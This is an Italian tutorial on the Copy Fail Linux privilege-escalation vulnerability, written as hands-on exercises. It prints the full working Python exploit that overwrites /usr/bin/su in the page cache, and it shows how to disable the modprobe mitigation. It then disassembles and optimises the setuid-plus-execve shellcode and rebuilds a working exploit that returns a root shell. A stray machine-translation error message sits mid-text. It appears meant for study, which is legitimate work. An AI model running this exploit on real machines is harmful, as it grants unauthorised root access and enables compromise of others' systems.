CVE-2026-31431 (Copy Fail) — Analisi e sviluppo in Assembly x86-64
Prendendo come base il codice sorgente pubblicato su Theori, faremo vari esercizi fino a portarlo completamente in linguaggio Assembly puro (senza librerie esterne).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Ambiente di test
L'esercizio lo realizzeremo sulla seguente macchina.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Eseguiamo il programma in Python per validare se il sistema è vulnerabile. Se dà errore, non è vulnerabile; se apre la shell sh, è vulnerabile.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Disattivare la mitigazione
Su questa macchina la mitigazione è stata scaricata tramite gli aggiornamenti automatici di sicurezza, per questo motivo ha fallito. Per testarlo, abbassiamo la difesa rinominando il file in cui si trova la mitigazione.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
Proviamo nuovamente il programma e ora sì, ci restituisce la shell e verifichiamo che siamo root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Riattivare la protezione
Una volta terminato l'esercizio, eseguiamo quanto segue per riattivare la protezione:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
La prima cosa da analizzare è di cosa si tratta la stringa compressa con zlib. Per questo creiamo un programma in Python, decompress.py, che lo decomprime e genera un file: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
Eseguiamo e analizziamo il tipo di file.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Ora che sappiamo che è un file ELF 64-bit LSB executable, andiamo a indagarlo.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
La struttura ELF occupa **120 byte**: **ELF header** (64 byte) + **Program header** (56 byte). Il codice macchina inizia dal byte 120 (0x78), che coincide con il **Entry point address: 0x400078**.
### Disassemblaggio del codice
Avendo il **Entry point address: 0x400078**, possiamo già iniziare a disassemblare il codice.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Spiegazione di ciascun parametro:
-D — Disassemble All. Disassembla tutto il contenuto del file, non solo le sezioni marcate come codice. Senza questo, -d disassembla solo .text, e poiché questo file non ha sezioni ELF (è binario puro), non mostrerebbe nulla.-b binary — Binary format. Dice a objdump di trattare il file come dati grezzi, senza tentare di analizzare gli header ELF. Senza questo, objdump proverebbe a leggere l'header ELF del file e fallirebbe o disassemblerebbe male.-m i386:x86-64 — Machine architecture. Indica il set di istruzioni per disassemblare. i386 è la famiglia base, :x86-64 specifica la modalità 64-bit. È necessario quando si usa -b binary, perché non essendoci header ELF, objdump non ha modo di sapere l'architettura. Senza -m, assume i386 (32-bit) e il disassemblaggio esce male — istruzioni a 64 bit come lea rdi, [rip+0xf] vengono decodificate come spazzatura.-M intel — Syntax mode. Usa sintassi Intel () invece di AT&T ().In sintesi: con -b binary, -m è obbligatorio perché objdump non può dedurre l'architettura senza un header ELF. Con un normale file ELF (senza -b binary), -m non è necessario perché l'architettura si trova in e_machine dell'header.
Il parametro -z in questo caso è fondamentale, perché come vedremo più avanti ci sono zeri usati come padding e senza questo parametro mostrerebbe ciò che segue e non avremmo il disassemblaggio esatto.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### Identificazione della stringa "/bin/sh"
Nell'output di objdump, vediamo:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
e alla posizione 0x80, abbiamo:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Interpretando quest'ultima riga deduciamo che si tratta di una stringa, che inizia all'indirizzo 0x96 e termina a 0x9F. Possiamo vedere la stringa nei seguenti modi:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
Il primo 00 è il terminatore nullo che segna la fine della stringa (/bin/sh\0). I due 00 rimanenti sono padding di allineamento.
Ripulendo il codice otteniamo:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> Il padding assicura che il totale sia divisibile per 4, poiché l'exploit in Python scrive il payload nella page cache in chunk da 4 byte. Se la dimensione non fosse multiplo di 4, l'ultimo chunk rimarrebbe incompleto e la scrittura sarebbe errata.
### Verifica dell'identità con l'originale
Verifichiamo che questo codice sia identico al file **output.bin** che abbiamo generato decomprimendo la stringa, compilando come binario:```bash
> $ nasm -f bin payload.asm -o payload.bin
Estraiamo solo il codice dal file output.bin. Poiché sappiamo che i primi 120 byte corrispondono alla struttura ELF, saltiamo quella quantità di byte.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Confermiamo che il nostro codice è identico al payload originale. Vengono mostrati tre modi per farlo.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
Avendo la certezza che il codice payload.asm corrisponda esattamente all'originale, procediamo ad ottimizzarlo.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> Padding di allineamento: 120 (headers) + 35 (codice) = 155 -> +1 byte = 156 / 4 = 39 chunks.
Nella **Parte 2** vedremo in dettaglio il perché di ogni ottimizzazione.
Compiliamo:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
Per eseguire i payload direttamente, dobbiamo compilarli e linkerarli nel modo seguente:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
Se vogliamo eliminare il warning, dopo **`section .text`** dovremmo aggiungere le seguenti righe:```assembly
global _start
_start:
Uniamo le intestazioni ELF (i primi 120 byte) del payload originale (output.bin) e il payload ottimizzato di 36 byte (payload-optimized.bin). Effettuiamo alcune verifiche, assegniamo i permessi di esecuzione e, eseguendo, otteniamo la shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## Analisi delle intestazioni ELF
Concatenando le intestazioni (120 byte) dell'ELF originale con il nostro payload ottimizzato (36 byte), il file risultante ha 156 byte, ma i campi **p_filesz** e **p_memsz** nelle intestazioni indicano ancora 158, il valore del file originale di 160 byte. Analizzeremo e correggeremo questi campi.
Per questo è necessario conoscere le strutture delle intestazioni di un file ELF.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
Osserviamo quali valori hanno p_filesz e p_memsz del Program Header. Indicano quanti byte del segmento esistono nel file su disco e quanti vengono riservati in memoria al caricamento.
Gli offset di p_filesz e p_memsz sono rispettivamente 0x60 e 0x68.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### Verifica dell'endianness
Visivamente notiamo che i valori sono in **little-endian**, poiché se fossero in big-endian sarebbero valori enormi e non corrisponderebbero alla dimensione di 160 byte. Per confermarlo, controlliamo il valore di **e_ident[5]** dell'ELF header.
I possibili valori sono:
| Valore | Costante | Significato |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |
Eseguiamo:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
Confermato che è in little-endian. Vediamo i valori in decimale:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### Confronto delle dimensioni
Elenchiamo le dimensioni dei file.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
Il file originale ha una dimensione di 160 byte, ma nella struttura gli sono assegnati 158 byte. Questo perché il file ha due byte di padding alla fine e l'autore ha deciso di essere preciso e indicare solo i byte che verranno caricati. Se invece di 158 avesse 160, verrebbe eseguito comunque correttamente perché i due byte di padding non vengono mai eseguiti (si trovano dopo exit) e non vengono neppure referenziati.
Il nostro file ottimizzato occupa 156 byte e ha un byte di padding. Seguendo la stessa linea di precisione dell'autore del programma, definiremo p_filesz e p_memsz in 155.
Convertiamo 155 da decimale a esadecimale.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
È una buona pratica che i campi **p_filesz** e **p_memsz** del Program Header abbiano i valori corretti.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
Confermiamo che le modifiche sono state applicate correttamente.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
Possiamo anche confermarlo guardando il Program Header.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
Lo eseguiamo e continua a funzionare correttamente.```bash
$ ./payload-optimized.elf $
## Integrazione nell'exploit
Creiamo un programma che comprima il payload ottimizzato e restituisca la stringa esadecimale da inserire nell'exploit.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
[No content provided in the INPUT field. Please paste the Markdown chunk you wish to have translated.]```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
Sostituiamo la stringa compressa nell'exploit originale con la nuova stringa ottimizzata.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Testiamo l'exploit con il payload ottimizzato e confermiamo che funziona correttamente.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ Non dimenticare di [riattivare la protezione](#reactivar-la-protección) una volta terminato il test.
## Contatto
Se hai domande, suggerimenti o correzioni, scrivimi indicando il nome del repository a:
✉️ `[email protected]`
mov al, 0x69mov $0x69, %al-z — Disattiva la soppressione di sequenze di zeri. In questo modo mostra tutto senza omettere zeri.--start-address=0x78 — Inizia dall'offset 0x78 (120 byte). Salta gli header ELF e il program header del payload, disassemblando solo il codice macchina. Senza questo, disassemblerebbe gli header come se fossero istruzioni.